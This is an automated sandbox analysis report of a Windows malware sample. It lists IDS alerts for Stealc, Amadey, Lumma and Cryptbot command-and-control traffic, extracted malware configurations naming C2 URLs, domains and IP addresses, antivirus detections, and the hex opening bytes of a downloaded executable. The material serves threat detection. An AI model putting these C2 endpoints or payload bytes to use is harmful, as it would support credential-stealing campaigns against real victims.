2024-11-18T04:42:56.186230+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	64763	185.215.113.16	80	TCP
2024-11-18T04:43:33.192006+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	64850	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:14.824155+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50110	185.215.113.43	80	TCP
2024-11-18T04:42:20.536068+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50114	185.215.113.43	80	TCP
2024-11-18T04:42:26.263371+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50118	185.215.113.43	80	TCP
2024-11-18T04:42:31.424971+0100	2044696	1	A Network Trojan was detected	192.168.2.6	64715	185.215.113.43	80	TCP
2024-11-18T04:42:37.861928+0100	2044696	1	A Network Trojan was detected	192.168.2.6	64730	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:43:14.645633+0100	2054350	1	A Network Trojan was detected	192.168.2.6	64827	62.76.234.151	80	TCP
2024-11-18T04:43:16.116603+0100	2054350	1	A Network Trojan was detected	192.168.2.6	64829	62.76.234.151	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:41:09.936374+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49710	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:41:09.930158+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:41:10.211791+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:41:11.303456+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:41:10.218936+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49710	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:49.448604+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	64757	188.114.96.3	443	TCP
2024-11-18T04:43:24.090696+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	64834	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:41:09.646100+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP
2024-11-18T04:42:27.370689+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50120	185.215.113.206	80	TCP
2024-11-18T04:42:42.606541+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	64745	185.215.113.206	80	TCP
2024-11-18T04:43:05.643374+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	64784	185.215.113.206	80	TCP
2024-11-18T04:43:19.119428+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	64831	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:05.751422+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50106	185.215.113.43	80	TCP
2024-11-18T04:47:13.689386+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50651	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:13.913427+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50107	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:42:09.097271+0100	2803305	3	Unknown Traffic	192.168.2.6	50109	31.41.244.11	80	TCP
2024-11-18T04:42:15.723847+0100	2803305	3	Unknown Traffic	192.168.2.6	50111	185.215.113.16	80	TCP
2024-11-18T04:42:21.455283+0100	2803305	3	Unknown Traffic	192.168.2.6	50115	185.215.113.16	80	TCP
2024-11-18T04:42:27.168927+0100	2803305	3	Unknown Traffic	192.168.2.6	50121	185.215.113.16	80	TCP
2024-11-18T04:42:32.937581+0100	2803305	3	Unknown Traffic	192.168.2.6	64721	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T04:41:11.939344+0100	2803304	3	Unknown Traffic	192.168.2.6	49710	185.215.113.206	80	TCP
2024-11-18T04:41:33.209964+0100	2803304	3	Unknown Traffic	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:34.809225+0100	2803304	3	Unknown Traffic	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:36.064318+0100	2803304	3	Unknown Traffic	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:37.010759+0100	2803304	3	Unknown Traffic	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:39.234005+0100	2803304	3	Unknown Traffic	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:39.855544+0100	2803304	3	Unknown Traffic	192.168.2.6	49833	185.215.113.206	80	TCP
2024-11-18T04:41:44.000764+0100	2803304	3	Unknown Traffic	192.168.2.6	49986	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 00000018.00000003.2619629445.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: ea2bf34af0.exe.8376.29.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "p10tgrace.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "processhol.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: 215a689fd9.exe.7928.30.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 35%			Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAA6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CAA6C80

Source: c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_02c54c28-1

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:64726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:64743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:64747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:64797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:64818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:64864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:64880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.6:64904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:64902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:64909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:64910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.115.138:443 -> 192.168.2.6:65450 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:65455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.6:65457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.117.173:443 -> 192.168.2.6:65459 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65463 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65465 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65468 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65466 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:65470 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.24:443 -> 192.168.2.6:50610 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50632 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50628 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50631 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50627 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50629 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50626 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50634 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50636 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50695 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2654294264.000000006CCCF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: ea2bf34af0.exe, 0000001D.00000002.3316172334.0000000005EB2000.00000040.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3245694568.0000000007DF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 30MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 186MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50106 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50107
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50110 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50114 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50118 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:64715 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50120 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:64730 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:64745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:64784 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:64827 -> 62.76.234.151:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:64829 -> 62.76.234.151:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:64831 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50651 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50116 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50116 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50113 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50113 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:64746 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:64728 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:64728 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:64757 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:64734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:64734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:64761 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:64819 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:64819 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:64822 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:64822 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:64834 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:64849 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	TCP traffic: 192.168.2.6:64713 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:65449 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:50593 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 03:41:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 